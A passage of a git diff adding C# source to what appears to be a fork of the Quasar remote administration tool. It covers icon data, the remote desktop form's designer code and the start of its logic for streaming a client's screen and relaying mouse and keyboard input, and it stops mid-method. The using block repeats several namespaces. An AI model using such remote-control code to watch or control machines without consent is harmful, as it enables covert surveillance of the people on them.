If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs new file mode 100755 index 0000000..92c79dd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs @@ -0,0 +1,296 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmRemoteDesktop + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteDesktop)); + this.btnStart = new System.Windows.Forms.Button(); + this.btnStop = new System.Windows.Forms.Button(); + this.barQuality = new System.Windows.Forms.TrackBar(); + this.lblQuality = new System.Windows.Forms.Label(); + this.lblQualityShow = new System.Windows.Forms.Label(); + this.btnMouse = new System.Windows.Forms.Button(); + this.panelTop = new System.Windows.Forms.Panel(); + this.lblFPS = new System.Windows.Forms.Label(); + this.numFPS = new System.Windows.Forms.NumericUpDown(); + this.btnKeyboard = new System.Windows.Forms.Button(); + this.cbMonitors = new System.Windows.Forms.ComboBox(); + this.btnHide = new System.Windows.Forms.Button(); + this.btnShow = new System.Windows.Forms.Button(); + this.toolTipButtons = new System.Windows.Forms.ToolTip(this.components); + this.picDesktop = new Quasar.Server.Controls.RapidPictureBox(); + ((System.ComponentModel.ISupportInitialize)(this.barQuality)).BeginInit(); + this.panelTop.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numFPS)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.picDesktop)).BeginInit(); + this.SuspendLayout(); + // + // btnStart + // + this.btnStart.Location = new System.Drawing.Point(19, 6); + this.btnStart.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(85, 29); + this.btnStart.TabIndex = 1; + this.btnStart.TabStop = false; + this.btnStart.Text = "Start"; + this.btnStart.UseVisualStyleBackColor = true; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // btnStop + // + this.btnStop.Enabled = false; + this.btnStop.Location = new System.Drawing.Point(120, 6); + this.btnStop.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(85, 29); + this.btnStop.TabIndex = 2; + this.btnStop.TabStop = false; + this.btnStop.Text = "Stop"; + this.btnStop.UseVisualStyleBackColor = true; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // barQuality + // + this.barQuality.Location = new System.Drawing.Point(258, -1); + this.barQuality.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.barQuality.Maximum = 100; + this.barQuality.Minimum = 1; + this.barQuality.Name = "barQuality"; + this.barQuality.Size = new System.Drawing.Size(95, 56); + this.barQuality.TabIndex = 3; + this.barQuality.TabStop = false; + this.barQuality.Value = 75; + this.barQuality.Scroll += new System.EventHandler(this.barQuality_Scroll); + // + // lblQuality + // + this.lblQuality.AutoSize = true; + this.lblQuality.Location = new System.Drawing.Point(209, 6); + this.lblQuality.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblQuality.Name = "lblQuality"; + this.lblQuality.Size = new System.Drawing.Size(56, 19); + this.lblQuality.TabIndex = 4; + this.lblQuality.Text = "Quality:"; + // + // lblQualityShow + // + this.lblQualityShow.AutoSize = true; + this.lblQualityShow.Location = new System.Drawing.Point(275, 32); + this.lblQualityShow.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblQualityShow.Name = "lblQualityShow"; + this.lblQualityShow.Size = new System.Drawing.Size(64, 19); + this.lblQualityShow.TabIndex = 5; + this.lblQualityShow.Text = "75 (high)"; + // + // btnMouse + // + this.btnMouse.Image = global::Quasar.Server.Properties.Resources.mouse_delete; + this.btnMouse.Location = new System.Drawing.Point(378, 6); + this.btnMouse.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnMouse.Name = "btnMouse"; + this.btnMouse.Size = new System.Drawing.Size(35, 35); + this.btnMouse.TabIndex = 6; + this.btnMouse.TabStop = false; + this.toolTipButtons.SetToolTip(this.btnMouse, "Enable mouse input."); + this.btnMouse.UseVisualStyleBackColor = true; + this.btnMouse.Click += new System.EventHandler(this.btnMouse_Click); + // + // panelTop + // + this.panelTop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panelTop.Controls.Add(this.lblFPS); + this.panelTop.Controls.Add(this.numFPS); + this.panelTop.Controls.Add(this.btnKeyboard); + this.panelTop.Controls.Add(this.cbMonitors); + this.panelTop.Controls.Add(this.btnHide); + this.panelTop.Controls.Add(this.lblQualityShow); + this.panelTop.Controls.Add(this.btnMouse); + this.panelTop.Controls.Add(this.btnStart); + this.panelTop.Controls.Add(this.btnStop); + this.panelTop.Controls.Add(this.lblQuality); + this.panelTop.Controls.Add(this.barQuality); + this.panelTop.Location = new System.Drawing.Point(236, -1); + this.panelTop.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.panelTop.Name = "panelTop"; + this.panelTop.Size = new System.Drawing.Size(562, 71); + this.panelTop.TabIndex = 7; + // + // lblFPS + // + this.lblFPS.AutoSize = true; + this.lblFPS.Location = new System.Drawing.Point(462, 11); + this.lblFPS.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblFPS.Name = "lblFPS"; + this.lblFPS.Size = new System.Drawing.Size(34, 19); + this.lblFPS.TabIndex = 10; + this.lblFPS.Text = "FPS:"; + // + // numFPS + // + this.numFPS.Location = new System.Drawing.Point(494, 8); + this.numFPS.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.numFPS.Maximum = new decimal(new int[] { + 60, + 0, + 0, + 0}); + this.numFPS.Minimum = new decimal(new int[] { + 10, + 0, + 0, + 0}); + this.numFPS.Name = "numFPS"; + this.numFPS.Size = new System.Drawing.Size(56, 26); + this.numFPS.TabIndex = 11; + this.numFPS.TabStop = false; + this.toolTipButtons.SetToolTip(this.numFPS, "FPS Cap (10-60)"); + this.numFPS.Value = new decimal(new int[] { + 60, + 0, + 0, + 0}); + // + // btnKeyboard + // + this.btnKeyboard.Image = global::Quasar.Server.Properties.Resources.keyboard_delete; + this.btnKeyboard.Location = new System.Drawing.Point(420, 6); + this.btnKeyboard.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnKeyboard.Name = "btnKeyboard"; + this.btnKeyboard.Size = new System.Drawing.Size(35, 35); + this.btnKeyboard.TabIndex = 9; + this.btnKeyboard.TabStop = false; + this.toolTipButtons.SetToolTip(this.btnKeyboard, "Enable keyboard input."); + this.btnKeyboard.UseVisualStyleBackColor = true; + this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click); + // + // cbMonitors + // + this.cbMonitors.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cbMonitors.FormattingEnabled = true; + this.cbMonitors.Location = new System.Drawing.Point(19, 38); + this.cbMonitors.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.cbMonitors.Name = "cbMonitors"; + this.cbMonitors.Size = new System.Drawing.Size(185, 27); + this.cbMonitors.TabIndex = 8; + this.cbMonitors.TabStop = false; + // + // btnHide + // + this.btnHide.Location = new System.Drawing.Point(212, 46); + this.btnHide.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnHide.Name = "btnHide"; + this.btnHide.Size = new System.Drawing.Size(68, 24); + this.btnHide.TabIndex = 7; + this.btnHide.TabStop = false; + this.btnHide.Text = "Hide"; + this.btnHide.UseVisualStyleBackColor = true; + this.btnHide.Click += new System.EventHandler(this.btnHide_Click); + // + // btnShow + // + this.btnShow.Location = new System.Drawing.Point(0, 0); + this.btnShow.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnShow.Name = "btnShow"; + this.btnShow.Size = new System.Drawing.Size(68, 24); + this.btnShow.TabIndex = 8; + this.btnShow.TabStop = false; + this.btnShow.Text = "Show"; + this.btnShow.UseVisualStyleBackColor = true; + this.btnShow.Visible = false; + this.btnShow.Click += new System.EventHandler(this.btnShow_Click); + // + // picDesktop + // + this.picDesktop.BackColor = System.Drawing.Color.Black; + this.picDesktop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.picDesktop.Cursor = System.Windows.Forms.Cursors.Default; + this.picDesktop.Dock = System.Windows.Forms.DockStyle.Fill; + this.picDesktop.GetImageSafe = null; + this.picDesktop.Location = new System.Drawing.Point(0, 0); + this.picDesktop.Margin = new System.Windows.Forms.Padding(4); + this.picDesktop.Name = "picDesktop"; + this.picDesktop.Running = false; + this.picDesktop.Size = new System.Drawing.Size(980, 702); + this.picDesktop.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.picDesktop.TabIndex = 0; + this.picDesktop.TabStop = false; + this.picDesktop.MouseDown += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseDown); + this.picDesktop.MouseMove += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseMove); + this.picDesktop.MouseUp += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseUp); + // + // FrmRemoteDesktop + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(980, 702); + this.Controls.Add(this.btnShow); + this.Controls.Add(this.panelTop); + this.Controls.Add(this.picDesktop); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.MinimumSize = new System.Drawing.Size(796, 588); + this.Name = "FrmRemoteDesktop"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Remote Desktop []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteDesktop_FormClosing); + this.Load += new System.EventHandler(this.FrmRemoteDesktop_Load); + this.Resize += new System.EventHandler(this.FrmRemoteDesktop_Resize); + ((System.ComponentModel.ISupportInitialize)(this.barQuality)).EndInit(); + this.panelTop.ResumeLayout(false); + this.panelTop.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numFPS)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.picDesktop)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Button btnStart; + private System.Windows.Forms.Button btnStop; + private System.Windows.Forms.TrackBar barQuality; + private System.Windows.Forms.Label lblQuality; + private System.Windows.Forms.Label lblQualityShow; + private System.Windows.Forms.Button btnMouse; + private System.Windows.Forms.Panel panelTop; + private System.Windows.Forms.Button btnHide; + private System.Windows.Forms.Button btnShow; + private System.Windows.Forms.ComboBox cbMonitors; + private System.Windows.Forms.Button btnKeyboard; + private System.Windows.Forms.NumericUpDown numFPS; + private System.Windows.Forms.Label lblFPS; + private System.Windows.Forms.ToolTip toolTipButtons; + private Controls.RapidPictureBox picDesktop; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.cs new file mode 100755 index 0000000..10b2885 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.cs @@ -0,0 +1,486 @@ +using Gma.System.MouseKeyHook; +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmRemoteDesktop : Form + { + /// + /// States whether remote mouse input is enabled. + /// + private bool _enableMouseInput; + + /// + /// States whether remote keyboard input is enabled. + /// + private bool _enableKeyboardInput; + + /// + /// Holds the state of the local keyboard hooks. + /// + private IKeyboardMouseEvents _keyboardHook; + + /// + /// Holds the state of the local mouse hooks. + /// + private IKeyboardMouseEvents _mouseHook; + + /// + /// A list of pressed keys for synchronization between key down & -up events. + /// + private readonly List _keysPressed; + + /// + /// The client which can be used for the remote desktop. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly RemoteDesktopHandler _remoteDesktopHandler; + + /// + /// Holds the opened remote desktop form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new remote desktop form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the remote desktop form. + /// + /// Returns a new remote desktop form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmRemoteDesktop CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmRemoteDesktop r = new FrmRemoteDesktop(client); + r.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, r); + return r; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmRemoteDesktop(Client client) + { + _connectClient = client; + _remoteDesktopHandler = new RemoteDesktopHandler(client); + _keysPressed = new List(); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + /// + /// Registers the remote desktop message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _remoteDesktopHandler.DisplaysChanged += DisplaysChanged; + _remoteDesktopHandler.ProgressChanged += UpdateImage; + MessageHandler.Register(_remoteDesktopHandler); + } + + /// + /// Unregisters the remote desktop message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_remoteDesktopHandler); + _remoteDesktopHandler.DisplaysChanged -= DisplaysChanged; + _remoteDesktopHandler.ProgressChanged -= UpdateImage; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Subscribes to local mouse and keyboard events for remote desktop input. + /// + private void SubscribeEvents() + { + // TODO: Check Hook.GlobalEvents vs Hook.AppEvents below + // TODO: Maybe replace library with .NET events like on Linux + if (PlatformHelper.RunningOnMono) // Mono/Linux + { + this.KeyDown += OnKeyDown; + this.KeyUp += OnKeyUp; + } + else // Windows + { + _keyboardHook = Hook.GlobalEvents(); + _keyboardHook.KeyDown += OnKeyDown; + _keyboardHook.KeyUp += OnKeyUp; + + _mouseHook = Hook.AppEvents(); + _mouseHook.MouseWheel += OnMouseWheelMove; + } + } + + /// + /// Unsubscribes from local mouse and keyboard events. + /// + private void UnsubscribeEvents() + { + if (PlatformHelper.RunningOnMono) // Mono/Linux + { + this.KeyDown -= OnKeyDown; + this.KeyUp -= OnKeyUp; + } + else // Windows + { + if (_keyboardHook != null) + { + _keyboardHook.KeyDown -= OnKeyDown; + _keyboardHook.KeyUp -= OnKeyUp; + _keyboardHook.Dispose(); + } + if (_mouseHook != null) + { + _mouseHook.MouseWheel -= OnMouseWheelMove; + _mouseHook.Dispose(); + } + } + } + + /// + /// Starts the remote desktop stream and begin to receive desktop frames. + /// + private void StartStream() + { + ToggleConfigurationControls(true); + + picDesktop.Start(); + // Subscribe to the new frame counter. + picDesktop.SetFrameUpdatedEvent(frameCounter_FrameUpdated); + + this.ActiveControl = picDesktop; + + _remoteDesktopHandler.BeginReceiveFrames(barQuality.Value, cbMonitors.SelectedIndex, (int)numFPS.Value); + } + + /// + /// Stops the remote desktop stream. + /// + private void StopStream() + { + 